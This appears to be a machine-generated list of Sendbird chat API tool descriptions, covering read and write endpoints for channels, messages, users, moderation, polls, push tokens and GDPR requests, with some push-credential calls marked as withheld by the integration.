sendbird_get_v3_by_channel_type_by_channel_url_messages (read) — Retrieves a list of past messages of a channel. This message retrieval is one of Sendbird's premium features. Contact our sales team for further assistance. via GET /v3/{channel_type}/{channel_url}/messages GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_messages_by_message_id (read) — Retrieves information on a message. via GET /v3/{channel_type}/{channel_url}/messages/{message_id} GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_messages_by_message_id_reactions (read) — Retrieves a list of reactions made to a message. Note: Currently, this action is only available in group channels. via GET /v3/{channel_type}/{channel_url}/messages/{message_id}/reactions GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/reactions. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_messages_total_count (read) — Retrieves the total number of messages in a channel. via GET /v3/{channel_type}/{channel_url}/messages/total_count GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/total_count. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_metacounter (read) — Retrieves channel metacounter's one or more items that are stored in a channel. via GET /v3/{channel_type}/{channel_url}/metacounter GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_metacounter_by_key (read) — Retrieves channel metacounter's one or more items that are stored in a channel. via GET /v3/{channel_type}/{channel_url}/metacounter/{key} GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter/{key}. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_metadata (read) — Retrieves a channel metadata's one or more items that are stored in a channel. via GET /v3/{channel_type}/{channel_url}/metadata GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata. Scopes: api. sendbird_get_v3_by_channel_type_by_channel_url_metadata_by_key (read) — Retrieves a channel metadata's one or more items that are stored in a channel. via GET /v3/{channel_type}/{channel_url}/metadata/{key} GET /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata/{key}. Scopes: api. sendbird_get_v3_emoji_categories (read) — Retrieves a list of all emoji categories registered to the application, including their emojis. via GET /v3/emoji_categories GET /api/v1/sendbird/v3/emoji_categories. Scopes: api. sendbird_get_v3_emoji_categories_by_emoji_category_id (read) — Retrieves an emoji category with the specified ID, including its emojis. via GET /v3/emoji_categories/{emoji_category_id} GET /api/v1/sendbird/v3/emoji_categories/{emoji_category_id}. Scopes: api. sendbird_get_v3_emojis (read) — Retrieves a list of all emojis registered to the application. via GET /v3/emojis GET /api/v1/sendbird/v3/emojis. Scopes: api. sendbird_get_v3_emojis_by_emoji_key (read) — Retrieves an emoji with the specified key. via GET /v3/emojis/{emoji_key} GET /api/v1/sendbird/v3/emojis/{emoji_key}. Scopes: api. sendbird_get_v3_export_by_data_type (read) — Retrieves a list of message, channel or user data exports via GET /v3/export/{data_type} GET /api/v1/sendbird/v3/export/{data_type}. Scopes: api. sendbird_get_v3_export_by_data_type_by_request_id (read) — Retrieves information on a message, channel or user data export. via GET /v3/export/{data_type}/{request_id} GET /api/v1/sendbird/v3/export/{data_type}/{request_id}. Scopes: api. sendbird_get_v3_group_channels (read) — Retrieves a list of group channels in the application. Note: If you want to get a list of a specific user's group channels, use the list my group channels action instead. via GET /v3/group_channels GET /api/v1/sendbird/v3/group_channels. Scopes: api. sendbird_get_v3_group_channels_by_channel_url (read) — Retrieves information on a group channel. via GET /v3/group_channels/{channel_url} GET /api/v1/sendbird/v3/group_channels/{channel_url}. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_ban (read) — Retrieves a list of the banned users from a group channel. via GET /v3/group_channels/{channel_url}/ban GET /api/v1/sendbird/v3/group_channels/{channel_url}/ban. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_ban_by_banned_user_id (read) — Retrieves details of a ban imposed on a user. via GET /v3/group_channels/{channel_url}/ban/{banned_user_id} GET /api/v1/sendbird/v3/group_channels/{channel_url}/ban/{banned_user_id}. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_members (read) — Retrieves a list of members of a group channel. via GET /v3/group_channels/{channel_url}/members GET /api/v1/sendbird/v3/group_channels/{channel_url}/members. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_members_by_user_id (read) — Checks whether the user is a member of the group channel. via GET /v3/group_channels/{channel_url}/members/{user_id} GET /api/v1/sendbird/v3/group_channels/{channel_url}/members/{user_id}. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_messages_unread_count (read) — Retrieves the total number of each member's unread messages in a group channel. This action is only applicable for users in a group channel. via GET /v3/group_channels/{channel_url}/messages/unread_count GET /api/v1/sendbird/v3/group_channels/{channel_url}/messages/unread_count. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_mute (read) — Retrieves a list of the muted users in a group channel. via GET /v3/group_channels/{channel_url}/mute GET /api/v1/sendbird/v3/group_channels/{channel_url}/mute. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_mute_by_muted_user_id (read) — Checks if a user is muted in a group channel. via GET /v3/group_channels/{channel_url}/mute/{muted_user_id} GET /api/v1/sendbird/v3/group_channels/{channel_url}/mute/{muted_user_id}. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_operators (read) — Retrieves a list of operators of a group channel. via GET /v3/group_channels/{channel_url}/operators GET /api/v1/sendbird/v3/group_channels/{channel_url}/operators. Scopes: api. sendbird_get_v3_group_channels_by_channel_url_scheduled_messages_by_scheduled_message_id (read) — This action retrieves information on a specific scheduled message. via GET /v3/group_channels/{channel_url}/scheduled_messages/{scheduled_message_id} GET /api/v1/sendbird/v3/group_channels/{channel_url}/scheduled_messages/{scheduled_message_id}. Scopes: api. sendbird_get_v3_open_channels (read) — Retrieves a list of open channels. You can query the list using various parameters. via GET /v3/open_channels GET /api/v1/sendbird/v3/open_channels. Scopes: api. sendbird_get_v3_open_channels_by_channel_url (read) — Retrieves information on a specific open channel. via GET /v3/open_channels/{channel_url} GET /api/v1/sendbird/v3/open_channels/{channel_url}. Scopes: api. sendbird_get_v3_open_channels_by_channel_url_ban (read) — Retrieves a list of banned users from a specific open channel. via GET /v3/open_channels/{channel_url}/ban GET /api/v1/sendbird/v3/open_channels/{channel_url}/ban. Scopes: api. sendbird_get_v3_open_channels_by_channel_url_ban_by_banned_user_id (read) — Retrieves details of a ban imposed on a user. via GET /v3/open_channels/{channel_url}/ban/{banned_user_id} GET /api/v1/sendbird/v3/open_channels/{channel_url}/ban/{banned_user_id}. Scopes: api. sendbird_get_v3_open_channels_by_channel_url_mute (read) — Retrieves a list of muted users in the channel. via GET /v3/open_channels/{channel_url}/mute GET /api/v1/sendbird/v3/open_channels/{channel_url}/mute. Scopes: api. sendbird_get_v3_open_channels_by_channel_url_mute_by_muted_user_id (read) — Checks if a user is muted in an open channel. via GET /v3/open_channels/{channel_url}/mute/{muted_user_id} GET /api/v1/sendbird/v3/open_channels/{channel_url}/mute/{muted_user_id}. Scopes: api. sendbird_get_v3_open_channels_by_channel_url_operators (read) — Retrieves a list of operators of an open channel. via GET /v3/open_channels/{channel_url}/operators GET /api/v1/sendbird/v3/open_channels/{channel_url}/operators. Scopes: api. sendbird_get_v3_open_channels_by_channel_url_participants (read) — Retrieves a list of the participants of an open channel. A participant refers to a user who has entered the open channel and is currently online. via GET /v3/open_channels/{channel_url}/participants GET /api/v1/sendbird/v3/open_channels/{channel_url}/participants. Scopes: api. sendbird_get_v3_polls (read) — This action retrieves a paginated list of both open and closed polls in an application or a specific channel. To retrieve polls in a specific channel, the channel_url must be specified. via GET /v3/polls GET /api/v1/sendbird/v3/polls. Scopes: api. sendbird_get_v3_polls_by_poll_id (read) — This action retrieves information on a specific poll. via GET /v3/polls/{poll_id} GET /api/v1/sendbird/v3/polls/{poll_id}. Scopes: api. sendbird_get_v3_polls_by_poll_id_options_by_option_id (read) — This action retrieves a poll option. via GET /v3/polls/{poll_id}/options/{option_id} GET /api/v1/sendbird/v3/polls/{poll_id}/options/{option_id}. Scopes: api. sendbird_get_v3_polls_by_poll_id_options_by_option_id_voters (read) — This action retrieves a list of users who voted for a poll option. via GET /v3/polls/{poll_id}/options/{option_id}/voters GET /api/v1/sendbird/v3/polls/{poll_id}/options/{option_id}/voters. Scopes: api. sendbird_get_v3_privacy_gdpr (read) — Retrieves a list of GDPR requests of all types. via GET /v3/privacy/gdpr GET /api/v1/sendbird/v3/privacy/gdpr. Scopes: api. sendbird_get_v3_privacy_gdpr_by_request_id (read) — Retrieves a specific GDPR request. via GET /v3/privacy/gdpr/{request_id} GET /api/v1/sendbird/v3/privacy/gdpr/{request_id}. Scopes: api. sendbird_get_v3_push_device_tokens_by_token_type_by_token (read) — Retrieves a user who owns a FCM registration token, HMS device token, or APNs device token. You can pass one of two values in `token_type`: `gcm`, `huawei`, or `apns`, depending on which push service you are using. via GET /v3/push/device_tokens/{token_type}/{token} GET /api/v1/sendbird/v3/push/device_tokens/{token_type}/{token}. Scopes: api. sendbird_get_v3_report (read) — Retrieves a list of reports within an application regardless of object types. via GET /v3/report GET /api/v1/sendbird/v3/report. Scopes: api. sendbird_get_v3_report_by_channel_type_by_channel_url (read) — Retrieves a list of reports on a channel that has offensive messages or abusive activities. via GET /v3/report/{channel_type}/{channel_url} GET /api/v1/sendbird/v3/report/{channel_type}/{channel_url}. Scopes: api. sendbird_get_v3_report_by_channel_type_by_channel_url_messages_by_message_id (read) — Retrieves a list of reports on a message which contains suspicious, harassing, or inappropriate content. via GET /v3/report/{channel_type}/{channel_url}/messages/{message_id} GET /api/v1/sendbird/v3/report/{channel_type}/{channel_url}/messages/{message_id}. Scopes: api. sendbird_get_v3_report_by_channel_type_by_channel_url_profanity_messages_by_message_id (read) — Retrieves information on a message that has been moderated by the profanity filter. via GET /v3/report/{channel_type}/{channel_url}/profanity_messages/{message_id} GET /api/v1/sendbird/v3/report/{channel_type}/{channel_url}/profanity_messages/{message_id}. Scopes: api. sendbird_get_v3_report_users_by_offending_user_id (read) — Retrieves a list of reports on a user who sends an offensive message. via GET /v3/report/users/{offending_user_id} GET /api/v1/sendbird/v3/report/users/{offending_user_id}. Scopes: api. sendbird_get_v3_scheduled_messages (read) — This action retrieves a list of scheduled messages. A user can only see the list of their own scheduled messages. via GET /v3/scheduled_messages GET /api/v1/sendbird/v3/scheduled_messages. Scopes: api. sendbird_get_v3_scheduled_messages_count (read) — This action retrieves the total number of scheduled messages that a user has. via GET /v3/scheduled_messages/count GET /api/v1/sendbird/v3/scheduled_messages/count. Scopes: api. sendbird_get_v3_statistics_metric (read) — Retrieves Advanced analytics metrics based on the specified parameters. You can retrieve either daily or monthly metrics using the time_dimension parameter. Note: Daily metrics are calculated and updated every three hours, starting at 1 a.m. in UTC. Meanwhile, monthly metrics are calculated after the last day of the month. via GET /v3/statistics/metric GET /api/v1/sendbird/v3/statistics/metric. Scopes: api. sendbird_get_v3_users (read) — Retrieves a list of users in your application. You can query the list using various parameters. via GET /v3/users GET /api/v1/sendbird/v3/users. Scopes: api. sendbird_get_v3_users_by_user_id (read) — Retrieves information on a user. via GET /v3/users/{user_id} GET /api/v1/sendbird/v3/users/{user_id}. Scopes: api. sendbird_get_v3_users_by_user_id_ban (read) — Retrieves a list of open and group channels with additional information where a user is banned. via GET /v3/users/{user_id}/ban GET /api/v1/sendbird/v3/users/{user_id}/ban. Scopes: api. sendbird_get_v3_users_by_user_id_block (read) — Retrieves a list of other users that a user has blocked. via GET /v3/users/{user_id}/block GET /api/v1/sendbird/v3/users/{user_id}/block. Scopes: api. sendbird_get_v3_users_by_user_id_channel_invitation_preference (read) — Retrieves channel invitation preference for a user's private group channels. Note: Using the view default channel invitation preference action, you can retrieve the value of channel invitation preference which is globally applied to all users within the application. via GET /v3/users/{user_id}/channel_invitation_preference GET /api/v1/sendbird/v3/users/{user_id}/channel_invitation_preference. Scopes: api. sendbird_get_v3_users_by_user_id_count_preference_by_channel_url (read) — Retrieves count preference of a specific group channel of a user. via GET /v3/users/{user_id}/count_preference/{channel_url} GET /api/v1/sendbird/v3/users/{user_id}/count_preference/{channel_url}. Scopes: api. sendbird_get_v3_users_by_user_id_group_channel_count (read) — Retrieves the number of a user's group channels by their join status. via GET /v3/users/{user_id}/group_channel_count GET /api/v1/sendbird/v3/users/{user_id}/group_channel_count. Scopes: api. sendbird_get_v3_users_by_user_id_metadata (read) — Retrieves a user metadata's one or more items that are stored in a user. via GET /v3/users/{user_id}/metadata GET /api/v1/sendbird/v3/users/{user_id}/metadata. Scopes: api. sendbird_get_v3_users_by_user_id_metadata_by_key (read) — Retrieves a user metadata's one or more items that are stored in a user. via GET /v3/users/{user_id}/metadata/{key} GET /api/v1/sendbird/v3/users/{user_id}/metadata/{key}. Scopes: api. sendbird_get_v3_users_by_user_id_mute (read) — Retrieves a list of open and group channels with additional information where a user is muted. via GET /v3/users/{user_id}/mute GET /api/v1/sendbird/v3/users/{user_id}/mute. Scopes: api. sendbird_get_v3_users_by_user_id_my_group_channels (read) — Retrieves all group channels that the user has joined. You can create a request based on various query parameters. via GET /v3/users/{user_id}/my_group_channels GET /api/v1/sendbird/v3/users/{user_id}/my_group_channels. Scopes: api. sendbird_get_v3_users_by_user_id_push_by_token_type (read) — Retrieves a list of a specific user's FCM registration tokens, HMS device tokens, or APNs device tokens. You can specify either `gcm`, `huawei`, or `apns` in the `token_type` parameter, depending on which push notification service you are using. via GET /v3/users/{user_id}/push/{token_type} GET /api/v1/sendbird/v3/users/{user_id}/push/{token_type}. Scopes: api. sendbird_get_v3_users_by_user_id_push_preference (read) — Retrieves a user's push preferences about whether the user has set `do_not_disturb` to pause notifications for a certain period of time, and the time frame in which the user has applied the setting. via GET /v3/users/{user_id}/push_preference GET /api/v1/sendbird/v3/users/{user_id}/push_preference. Scopes: api. sendbird_get_v3_users_by_user_id_push_preference_by_channel_url (read) — Retrieves whether a user has turned on notification messages for a specific channel. The push notifications feature is only available for group channels. via GET /v3/users/{user_id}/push_preference/{channel_url} GET /api/v1/sendbird/v3/users/{user_id}/push_preference/{channel_url}. Scopes: api. sendbird_get_v3_users_by_user_id_unread_channel_count (read) — Retrieves the total number of a user's group channels with unread messages. via GET /v3/users/{user_id}/unread_channel_count GET /api/v1/sendbird/v3/users/{user_id}/unread_channel_count. Scopes: api. sendbird_get_v3_users_by_user_id_unread_item_count (read) — Retrieves a set of total numbers of a user's unread messages, unread mentioned messages, or received invitations in either super or non-super group channels. This action is only available for the group channels. via GET /v3/users/{user_id}/unread_item_count GET /api/v1/sendbird/v3/users/{user_id}/unread_item_count. Scopes: api. sendbird_get_v3_users_by_user_id_unread_message_count (read) — Retrieves the total number of a user's currently unread messages in the group channels. The unread counts feature is only available for the group channels. via GET /v3/users/{user_id}/unread_message_count GET /api/v1/sendbird/v3/users/{user_id}/unread_message_count. Scopes: api. sendbird_post_v3_announcements (write) — Schedules a new announcement. You can also schedule an announcement in the Sendbird Dashboard. via POST /v3/announcements POST /api/v1/sendbird/v3/announcements. Scopes: api. sendbird_post_v3_applications_push_apns (write) — Registers an APNs (Apple Push Notification service) push configuration for your client app. To send push notifications to iOS devices, your should first register the APNs push configuration. You can also register the configurations in your dashboard under Settings > Application > Notifications. Note: To upload a .p12 certificate file to Sendbird server, you should send a Multipart request. via POST /v3/applications/push/apns. WITHHELD: Sendbird accepts push credentials only as a multipart/form-data file upload, which this integration does not send, so this call is refused before any request is made. Manage push credentials in the Sendbird Dashboard (Settings > Application > Notifications). POST /api/v1/sendbird/v3/applications/push/apns. Scopes: api. sendbird_post_v3_applications_push_fcm (write) — Registers a FCM (Firebase Cloud Messaging) push configuration for your client app. To send push notifications to Android devices, you should first register the FCM push configuration. You can also register the configurations in your dashboard under Settings > Application > Notifications. via POST /v3/applications/push/fcm. WITHHELD: Sendbird accepts push credentials only as a multipart/form-data file upload, which this integration does not send, so this call is refused before any request is made. Manage push credentials in the Sendbird Dashboard (Settings > Application > Notifications). POST /api/v1/sendbird/v3/applications/push/fcm. Scopes: api. sendbird_post_v3_applications_push_hms (write) — Registers an HMS (Huawei Mobile Services) push configuration for your client app. To send push notifications to Android devices for HMS, you should first register the HMS push configuration. You can also register the configurations in your dashboard under Settings > Application > Notifications. via POST /v3/applications/push/huawei POST /api/v1/sendbird/v3/applications/push/huawei. Scopes: api. sendbird_post_v3_applications_settings_by_channel_custom_type_by_custom_type_ban (write) — Ban specified users in channels with a custom channel type at once. via POST /v3/applications/settings_by_channel_custom_type/{custom_type}/ban POST /api/v1/sendbird/v3/applications/settings_by_channel_custom_type/{custom_type}/ban. Scopes: api. sendbird_post_v3_applications_settings_by_channel_custom_type_by_custom_type_mute (write) — Mutes specified users in channels with a custom channel type at once. via POST /v3/applications/settings_by_channel_custom_type/{custom_type}/mute POST /api/v1/sendbird/v3/applications/settings_by_channel_custom_type/{custom_type}/mute. Scopes: api. sendbird_post_v3_bots (write) — Creates a new bot within the application. Creating a bot is similar to creating a normal user, except that a callback URL is specified in order for the bot to receive events. Note: The bot must join a group channel first to interact with users. In group channels, you can invite a bot through the invite as members action instead. via POST /v3/bots POST /api/v1/sendbird/v3/bots. Scopes: api. sendbird_post_v3_bots_by_bot_userid_channels (write) — Makes a bot join one or more channels. via POST /v3/bots/{bot_userid}/channels POST /api/v1/sendbird/v3/bots/{bot_userid}/channels. Scopes: api. sendbird_post_v3_bots_by_bot_userid_send (write) — Sends a bot's message to a channel. via POST /v3/bots/{bot_userid}/send POST /api/v1/sendbird/v3/bots/{bot_userid}/send. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_messages (write) — Sends a message to a channel. You can send a text message, a file message, and an admin message. Note: With Sendbird Chat SDKs and the platform API, any type of files in messages can be uploaded to Sendbird server. via POST /v3/{channel_type}/{channel_url}/messages POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_messages_by_message_id_pin (write) — Pin a message to its channel. via POST /v3/{channel_type}/{channel_url}/messages/{message_id}/pin POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/pin. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_messages_by_message_id_reactions (write) — Adds a specific reaction to a message. Note: Currently, this action is only available in group channels. via POST /v3/{channel_type}/{channel_url}/messages/{message_id}/reactions POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/reactions. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_messages_by_message_id_sorted_metaarray (write) — Adds one or more key-values items which store additional information for a message. via POST /v3/{channel_type}/{channel_url}/messages/{message_id}/sorted_metaarray POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/sorted_metaarray. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_messages_by_message_id_translation (write) — Translates a message into specific languages. Only text messages of which type is MESG can be translated into other languages. Note: Message translation is powered by Google Cloud Translation API recognition engine. Find language codes supported by the engine in the Miscellaneous page or visit the Language Support for Google Cloud Translation. via POST /v3/{channel_type}/{channel_url}/messages/{message_id}/translation POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/messages/{message_id}/translation. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_metacounter (write) — Creates a channel metacounter's items to store in a channel. via POST /v3/{channel_type}/{channel_url}/metacounter POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/metacounter. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_metadata (write) — Creates a channel metadata's items to store in a channel. via POST /v3/{channel_type}/{channel_url}/metadata POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/metadata. Scopes: api. sendbird_post_v3_by_channel_type_by_channel_url_scheduled_messages_by_scheduled_message_id_send_now (write) — This action sends a scheduled message immediately. A user can only send their own scheduled messages immediately. via POST /v3/{channel_type}/{channel_url}/scheduled_messages/{scheduled_message_id}/send_now POST /api/v1/sendbird/v3/{channel_type}/{channel_url}/scheduled_messages/{scheduled_message_id}/send_now. Scopes: api. sendbird_post_v3_emoji_categories (write) — Adds a list of one or more new emoji categories to the application. via POST /v3/emoji_categories POST /api/v1/sendbird/v3/emoji_categories. Scopes: api. sendbird_post_v3_emojis (write) — Adds a list of one or more new emojis to the application. via POST /v3/emojis POST /api/v1/sendbird/v3/emojis. Scopes: api. sendbird_post_v3_export_by_data_type (write) — Registers and schedules a message, channel, or user data export. via POST /v3/export/{data_type} POST /api/v1/sendbird/v3/export/{data_type}. Scopes: api. sendbird_post_v3_group_channels (write) — Creates a new group channel. If you are creating a 1-on-1 direct messaging channel for a user, it is recommended that you turn on the `distinct` property. If the property is turned off, a user can create a new channel even if they have had the previous chat between them, and therefore can't see previously sent messages or data in the new channel. On the other hand, if the `distinct` property is turned on, every 1-on-1 conversation between the same two users occurs within the same channel. via POST /v3/group_channels POST /api/v1/sendbird/v3/group_channels. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_ban (write) — Bans a user from a group channel. A banned user is immediately expelled from a channel and allowed to join the channel again after a set time period. via POST /v3/group_channels/{channel_url}/ban POST /api/v1/sendbird/v3/group_channels/{channel_url}/ban. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_invite (write) — Invites one or more users as members into the group channel. Note: By default, users in your application automatically join a private group channel promptly from an invitation without having to accept it. If you want to give them the option to decide whether to accept or decline an invitation, you should set the value of channel invitation preference to false through the update default channel invitation preference action. Or using the update a user's channel invitation preference action, you can also allow the option individually by user. via POST /v3/group_channels/{channel_url}/invite POST /api/v1/sendbird/v3/group_channels/{channel_url}/invite. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_mute (write) — Mutes a user in a group channel. A muted user remains in the channel and is allowed to view the messages, but can't send any messages until unmuted. via POST /v3/group_channels/{channel_url}/mute POST /api/v1/sendbird/v3/group_channels/{channel_url}/mute. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_operators (write) — Registers one or more operators to a group channel. via POST /v3/group_channels/{channel_url}/operators POST /api/v1/sendbird/v3/group_channels/{channel_url}/operators. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_scheduled_messages (write) — This action creates a new scheduled message. If a user leaves the channel before the scheduled time for the message to be sent, the scheduled message will be removed. via POST /v3/group_channels/{channel_url}/scheduled_messages POST /api/v1/sendbird/v3/group_channels/{channel_url}/scheduled_messages. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_scheduled_messages_by_scheduled_message_id (write) — This action updates information on a specific scheduled message. You can’t change the message type. Update operation should be done at least 5 minutes prior to the original scheduled time. via PUT /v3/group_channels/{channel_url}/scheduled_messages/{scheduled_message_id} PUT /api/v1/sendbird/v3/group_channels/{channel_url}/scheduled_messages/{scheduled_message_id}. Scopes: api. sendbird_post_v3_group_channels_by_channel_url_typing (write) — You can start showing a typing indicator using this API. Seeing whether other users are typing can help a more interactive conversation environment by showing real-time engagement of other users. via POST /v3/group_channels/{channel_url}/typing POST /api/v1/sendbird/v3/group_channels/{channel_url}/typing. Scopes: api. sendbird_post_v3_migration_by_target_channel_url (write) — Using our migration API, you can migrate the messages from another system into a Sendbird system's channel which consists of users, messages, and other chat-related data. To turn on this feature, contact our support team. There are three things to do in advance before the migration. Follow the instructions below: 1. Register the users of your current chat solution to your Sendbird application. You can migrate the users into the Sendbird system using the user creation API. 2. Create either an open or a group channel to migrate the messages of your chat solution. The Sendbird system doesn't create a channel for your migration automatically. 3. The maximum number of migrated messages per call is 100. To avoid the failure during your migration, you must adjust the number of messages to process at once via the API. via POST /v3/migration/{target_channel_url} POST /api/v1/sendbird/v3/migration/{target_channel_url}. Scopes: api. sendbird_post_v3_open_channels (write) — Creates an open channel. Note: Classic open channels created before the deprecation date of March 2021 will maintain their original form and functions. However, new applications created after December 15, 2020, will be able to create dynamic partitioning open channels only. via POST /v3/open_channels POST /api/v1/sendbird/v3/open_channels. Scopes: api. sendbird_post_v3_open_channels_by_channel_url_ban (write) — Bans a user from an open channel. A banned user is immediately expelled from a channel and allowed to participate in the channel again after a set time period. via POST /v3/open_channels/{channel_url}/ban POST /api/v1/sendbird/v3/open_channels/{channel_url}/ban. Scopes: api. sendbird_post_v3_open_channels_by_channel_url_mute (write) — Mutes a user in the channel. A muted user remains in the channel and is allowed to view the messages, but can't send any messages until unmuted. via POST /v3/open_channels/{channel_url}/mute POST /api/v1/sendbird/v3/open_channels/{channel_url}/mute. Scopes: api. sendbird_post_v3_open_channels_by_channel_url_operators (write) — Registers one or more operators to an open channel. via POST /v3/open_channels/{channel_url}/operators POST /api/v1/sendbird/v3/open_channels/{channel_url}/operators. Scopes: api. sendbird_post_v3_polls (write) — This action creates a poll with at least one option.You can configure various settings for your poll, including when the poll will close and whether to allow voting for multiple options. After creating a poll, to share the poll with other users in a channel, the poll must be sent as a message. via POST /v3/polls POST /api/v1/sendbird/v3/polls. Scopes: api. sendbird_post_v3_polls_by_poll_id_options (write) — This action adds a new option to a poll. via POST /v3/polls/{poll_id}/options POST /api/v1/sendbird/v3/polls/{poll_id}/options. Scopes: api. sendbird_post_v3_privacy_gdpr (write) — Registers a specific type of GDPR request to meet the GDPR's requirements. Note: Currently, only delete and access of the user data are supported. The features for the right to restriction of processing and right to object will be available soon. via POST /v3/privacy/gdpr POST /api/v1/sendbird/v3/privacy/gdpr. Scopes: api. sendbird_post_v3_report_by_channel_type_by_channel_url (write) — Reports a channel that has offensive messages or abusive activities. via POST /v3/report/{channel_type}/{channel_url} POST /api/v1/sendbird/v3/report/{channel_type}/{channel_url}. Scopes: api. sendbird_post_v3_report_by_channel_type_by_channel_url_messages_by_message_id (write) — Reports a message which contains suspicious, harassing, or inappropriate content. via POST /v3/report/{channel_type}/{channel_url}/messages/{message_id} POST /api/v1/sendbird/v3/report/{channel_type}/{channel_url}/messages/{message_id}. Scopes: api. sendbird_post_v3_report_users_by_offending_user_id (write) — Reports a user who sends an offensive message in a channel. via POST /v3/report/users/{offending_user_id} POST /api/v1/sendbird/v3/report/users/{offending_user_id}. Scopes: api. sendbird_post_v3_users (write) — Creates a new user in the application. A user is identified by its unique user ID, and additionally have a changeable nickname, profile image, and so on. via POST /v3/users POST /api/v1/sendbird/v3/users. Scopes: api. sendbird_post_v3_users_by_user_id_banned_channel_custom_types (write) — Bans a user from channels with particular custom channel types. via POST /v3/users/{user_id}/banned_channel_custom_types POST /api/v1/sendbird/v3/users/{user_id}/banned_channel_custom_types. Scopes: api. sendbird_post_v3_users_by_user_id_block (write) — Allows a user to block another user. A user doesn't receive messages from someone they have blocked anymore. Also, blocking someone doesn't alert them that they have been blocked. Blocked users still can send messages as normal in the channel: however, they can't receive any messages from the users who have blocked them. via POST /v3/users/{user_id}/block POST /api/v1/sendbird/v3/users/{user_id}/block. Scopes: api. sendbird_post_v3_users_by_user_id_metadata (write) — Creates a user metadata's items to store in a user. via POST /v3/users/{user_id}/metadata POST /api/v1/sendbird/v3/users/{user_id}/metadata. Scopes: api. sendbird_post_v3_users_by_user_id_muted_channel_custom_types (write) — Mutes a user in channels with particular custom channel types. via POST /v3/users/{user_id}/muted_channel_custom_types POST /api/v1/sendbird/v3/users/{user_id}/muted_channel_custom_types. Scopes: api. sendbird_post_v3_users_by_user_id_operating_channel_custom_types (write) — Registers a user as an operator to channels with particular custom channel types. via POST /v3/users/{user_id}/operating_channel_custom_types POST /api/v1/sendbird/v3/users/{user_id}/operating_channel_custom_types. Scopes: api. sendbird_post_v3_users_by_user_id_push_by_token_type (write) — Note: A user can have up to 20 FCM registration tokens, 20 HMS device tokens, and 20 APNs device tokens each. The oldest token will be deleted before a new token is added for a user who already has 20 registration or device tokens. Only the 20 newest tokens will be maintained for users who already have more than 20 of each token type. To send notification requests to push notification services on behalf of your server, adds a specific user's FCM registration token, HMS device token, or APNs device token to Sendbird server. Depending on which push service you are using, you can pass one of two values in `token_type`: `gcm`, `huawei`, or `apns`. A FCM registration token and an APNs device token allow identification of each client app instance on each device, and are generated and registered by Android and iOS apps through the corresponding SDKs. Use this method if you need to register a token via your own server. Note: For more information on the registration token and device token, visit the Google's FCM page, Huawei's Push kit and Apple's APNs page. via POST /v3/users/{user_id}/push/{token_type} POST /api/v1/sendbird/v3/users/{user_id}/push/{token_type}. Scopes: api. sendbird_post_v3_users_by_user_id_token (write) — Create user token via POST /v3/users/{user_id}/token POST /api/v1/sendbird/v3/users/{user_id}/token. Scopes: api. sendbird_put_v3_announcements_by_unique_id (write) — Updates information of a specific announcement before it starts or changes the status of a specific announcement after it starts. For the 2 different applications, refer to the request body below. Note: Updating information of an announcement is possible only when the announcement status is scheduled, indicating it hasn't started yet. via PUT /v3/announcements/{unique_id} PUT /api/v1/sendbird/v3/announcements/{unique_id}. Scopes: api. sendbird_put_v3_applications_default_channel_invitation_preference (write) — Updates the default channel invitation preference of an application. Note: Using the update channel invitation preference action, you can update the value of a specific user's channel invitation preference, which can be set individually by user. via PUT /v3/applications/default_channel_invitation_preference PUT /api/v1/sendbird/v3/applications/default_channel_invitation_preference. Scopes: api. sendbird_put_v3_applications_push_apns_by_provider_id (write) — Updates a specific APNs (Apple Push Notification service) push configuration for your client app. You can also register the configurations in your dashboard under Settings > Application > Notifications. Note: If your HTTP request body contains a .p12 certificate file to upload to Sendbird server, you should send a Multipart request . via PUT /v3/applications/push/apns/{provider_id}. WITHHELD: Sendbird accepts push credentials only as a multipart/form-data file upload, which this integration does not send, so this call is refused before any request is made. Manage push credentials in the Sendbird Dashboard (Settings > Application > Notifications). PUT /api/v1/sendbird/v3/applications/push/apns/{provider_id}. Scopes: api. sendbird_put_v3_applications_push_fcm_by_provider_id (write) — Updates a specific FCM (Firebase Cloud Messaging) push configuration for your client app. You can also update the configurations in your dashboard under Settings > Application > Notifications. via PUT /v3/applications/push/fcm/{provider_id}. WITHHELD: Sendbird accepts push credentials only as a multipart/form-data file upload, which this 